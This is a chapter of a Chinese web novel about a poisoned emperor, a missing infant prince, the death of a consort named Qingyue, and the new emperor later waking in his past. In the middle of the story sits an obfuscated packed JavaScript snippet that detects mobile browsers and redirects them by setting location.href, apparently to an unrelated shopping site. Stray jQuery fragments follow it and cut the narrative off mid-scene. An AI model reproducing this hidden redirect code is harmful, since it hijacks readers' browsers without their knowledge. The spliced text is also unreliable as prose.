昭和五年冬。


    寒潮来得格外早，刚入冬月上京城及附近州县便遭遇百年难遇的大暴雪，鹅毛大的雪花一飘就是好几日，铺天盖地，霎时间天地间苍茫一片白。


    连日暴雪阻碍农作物生长，冻伤大半，幼嫩些的频频倒伏甚至死亡。


    京郊州县的百姓形容甚臞，坊间盛传国君昏庸无道，终日沉迷于酒色，荒废政务，才引得天怒人怨，降下灾祸以示惩戒。


    皇城内的屋舍商铺各家自扫门前雪，街道府署也有侍卫衙役，日夜清扫道路。天气虽恶劣，茶楼瓦舍却比之前更加热闹，文人骚客云集，三三两两围炉煮茶，以诗画暗含讥讽，群情激愤地指摘这荒唐世道。


    妇叹童呼，悲声载道之时，太后下令封锁大内，派禁卫军全城戒严。


    原是崇明帝宇文曦于昨夜突发恶疾驾崩，太医查验结果为中毒身亡。此事颇为蹊跷，凡宫中御膳皆有太监试毒，素日里不曾出纰漏，且试毒太监还好端端地活着在狱中受刑，皇帝却不留只言片语撒手人寰了。


    百姓暗地里感叹苍天有眼，金銮殿上群臣却满面愁云，等不到开朝便已为“皇位该花落谁家”争得热火朝天。


    有拂袖怒斥者：“幼子登基，岂非明摆着让大权旁落，尔等居心何在！”


    有心怀鬼胎者：“大行皇帝为太子时便受教于太傅，登基后更是尊为帝师，由苏太傅辅政再合适不过。”


    有言语讥讽者：“苏太傅自己称病避不上朝，倒放了你们这群狗腿子在此叫嚣！真是好算计！”


    有恼羞成怒者：“休要血口喷人，父死子继本是伦常，我等就事论事罢了。”


    “赵大人所言甚是！尔等硬要违反祖宗法度保宁王上位，才是真的心怀不轨吧！”


    有就事论事者：“宁王与大行皇帝一母同胞，皆为中宫嫡子，稚子年幼，兄终弟继并非无此先例。”


    有大逆不道者：“宁王行事常悖礼法，如何承担江山社稷？”


    ……


    众人越说越大胆，眼瞧着就要败坏斯文地扭作一团，直至内官抬着太师椅放置于龙椅一侧才罢休。另有内官放下玉帘，高呼：“太后驾到！”


    此时又从大殿的赤色柱子后闪出一人，头戴金丝翼善冠、身穿赤色衮龙袍，外罩一身孝服，慵懒地打着哈欠。


    宇文皓行至百官前头，目光如冰刃般扫过在场群臣，眉头一挑，回身面朝正大光明的牌匾站立。


    太后已然落座，群臣顾不得扶正被惊掉的下巴，伏身跪拜。


    “太后娘娘万福金安。”


    “平身吧。”玉帘后传来的声音疲态尽显，“先帝龙驭宾天之殇尚未缓平，如今皇帝崩逝，哀家本已无心力主事，奈何皇位空悬，祖宗基业未托付妥善，哀家亦无脸面见先帝。这继承大统之事，后宫妇人不敢独断，特来问问各位股肱意见。”


    “臣等愧不敢当。”


    面上功夫做足，愧不敢当的众人转而面无愧色地你进一言、他驳一语，还是方才的两方观点，唯一区别是言语上礼貌许多。


    “禀太后，大行皇帝膝下既有子嗣，理应由皇子继承大统，太后垂帘听政。”


    “臣以为不妥，皇子尚不知事，臣请命由宁王殿下代掌国玺，待皇子及冠再行禅位。”


    “哼！若到时宁王大权在握不肯传位，又当如何？”


    诚然林大鸟多，不知是哪个口无遮拦地高声喊出一句，大殿中瞬时鸦雀无声，众人不约而同将目光移向立在百官首位的宁王殿下身上。


    处于风暴中心的宇文皓对他们的争论置若罔闻，自顾自玩弄着手里的象牙笏，即便他背后不长眼，更无意听声分辨问话者谁，也心知肚明是太后的口舌。


    “放肆！宁王岂是尔等随意攀蔑的。”太后一声冷喝，吓得百官纷纷垂头告罪。


    从前少不更事，后来才明白母后的百般偏爱实则是饱含阴谋的捧杀。


    宇文皓冷笑道：“母后息怒，儿臣细细自省了一番，觉得方才那位大人所言，算不得攀蔑。”


    太后被他拿话堵得一愣，欲再开口时一名小宫女满脸惊慌从后殿跑进来，摔在她跟前，哆哆嗦嗦回禀“太，太后娘娘，小皇子，小皇子不不不，不见了……”


    她的声音本不大，奈何殿内太后与宁王剑拔弩张，其他人恨不得连呼吸都屏住，再细微的声音落在寂静中也被放大了。


    阶下一片哗然。


    皇宫内院被翻个底儿朝天依旧不见小皇子踪迹，一同消失的还有受宠的月贵人。太后下令酷刑责问近前服侍之人，没问出小皇子的下落，倒揭出另一件秘辛。


    ——大行皇帝寝宫里，暗藏一条通向皇宫之外的密道，宇文曦近半年来经常便衣偷溜出宫，到瓦舍勾栏寻花问柳。


    ***


    另一边，上京城东墙，青玥艰难地从墙根杂草丛掩盖下的狗洞里爬出，身后还拖着一个杂耍团里借来的把箱。


    她将把箱打开，抱出一个用黑布包裹的男娃娃，径直走向不远处来接头的马车。


    马车里，青玥掰开怀中幼子的嘴喂进一颗药丸，转头对一旁的紫衣姑娘说道：“人就交给姐姐了，务必送得远些。”


    紫衣姑娘心有不安，问道：“这药能管用吗？他日后记起来自己是谁岂不是要惹大麻烦？”


    “放心吧，药是我从一位神医那儿求得，不会有错。”青玥瞥了眼熟睡的小孩，“再不济也管几年，日后如何，与我，与姐姐都无关了。”


    马车到城外渡口停下，青玥将小孩放到紫衣姑娘怀里，只身下车。


    她有自己的路要走。


    马车渐行渐远，青玥身后多出一抹身影，是五年里一直保护她的暗卫影子，向来只在她有危险的时候现身。


    她唇角弯起，露出淡淡笑意，问：“知道我要走，出来告别吗？”


    影子沉默地点了点头，眼中难得浮现出情绪，是不舍。


    “我还以为你是木头人呢。”青玥笑容更甚，如同晨曦初露时的温柔阳光，轻轻洒在心头。


    “帮我把这个转交给王爷，祝他生辰快乐，”青玥从袖中取出一枚荷包，递给影子时，十分郑重地补充一句：“万寿无疆。”


    影子双手接过，看着上面粗糙的针脚，破天荒地主动开口：“主子一定会喜欢的。”


    近来为了讨好崇明帝，青玥和宫中绣娘学绣荷包，原是要再绣一个送宇文皓当生辰礼的，为筹谋大事耽搁未成，只好拿这枚留给自己的初学成品来充数。


    “但愿吧。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067251|149325||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    青玥不在意地摆摆手。五年里，宇文皓每年生辰她精心备礼物相送，对方都反应平平，面对这一次的敷衍恐怕更不屑一顾。


    左右她要离开了，以后再不相见，嫌弃与否皆不会有下次。


    “你也多保重。”同影子做最后道别，青玥转身离开。


    一阵冷风吹起，卷落几片残存的枯叶，影子的目光紧紧跟随其中一片，直到它落在地上，才缓缓收回。


    他抬手，从袖中飞出一片系着细长红丝带的银镖，划破长风，直直朝青玥奔去。


    ……


    风又起时，来了一队禁卫军，凌乱的马蹄声打破了渡口原有的寂静。


    其中一名禁卫下马，拿着手中的画像同躺在地上的人比对，又伸手探过鼻息，随即抬头冲马上的将领高喊：“是月贵人，但已经死了。”


    ……


    金銮殿上的争论最终以大行皇帝唯一一个儿子下落不明被迫告终，皇位继承人唯有从先帝的子嗣、大行皇帝的兄弟当中再选。


    东炎国祖制立嫡先于立长，先帝的其他子嗣皆非嫡出，宁王宇文皓顺理成章继承大统即皇帝位，设祭天大典，受群臣朝拜。


    宇文皓在登基许多年后，心中仍有一抹难以言说的空缺。


    他时常握着那枚针脚粗糙的荷包，心思随目光放空，仿佛能透过宫墙看到那张曾淡然笑着的脸。


    高处不胜寒，宫墙里的月色冰凉如霜，天长日久，连她的笑容都褪了色，渐渐地不那么清晰。


    又一场暴雪覆盖皇城，不必钦天监观天象，他已明了是上天降给自己的报应。


    歪坐在龙椅上，宇文皓的手指无意识地摩挲着荷包的边缘，仿佛这样便能找回那逝去的温度。


    他好累，忽然很想在梦里见一见她，不多时便睡过去了。


    ***


    宇文皓再醒来时，身边的不见往日明黄，细看后，发现自己正躺在一张宽大的紫檀木床上。


    床幔低垂，以金线绣着龙凤呈祥的图案，床边摆放着精致的青花瓷瓶，插着几枝时令鲜花，散发着淡淡的香气。


    他不喜燃香，从前青玥偶尔采了野花会托影子往王府送几枝，下头人请示过几次，见他没发话，当作默许，次数多了，自觉就插瓶放置在案头。


    觉察不对，宇文皓扬声唤道：“来人！”


    门口有身影闪动，双金快步进入，垂手立在床边，等候吩咐。


    宇文皓视线从双金身上的灰蓝色侍从服制扫过，落在他少年气的面庞上，怔愣半晌才开口：“这些花是何时换的？”


    双金亦恍了恍神，这么久主子还是头次问起这些花。


    “回爷的话，晨间换的，照旧是影子大人送来的。”


    “影子人呢？”


    双金纳闷，怎么主子今日总问些废话，影子奉命暗中保护那一位，自然是哪儿来的回哪儿去了。


    腹诽归腹诽，他机智的脑袋瓜飞速旋转，将宇文皓的话自动转换为问那一位的动向，遂道：“今日青玥姑娘去崇光寺上香，影子大人暗中保护左右。”


    青玥。


    久违的名字盘桓在宇文皓耳畔，他的目光重新回落在几朵绽放的花上，第一次觉得，有了它们，整个房间都变得柔和起来。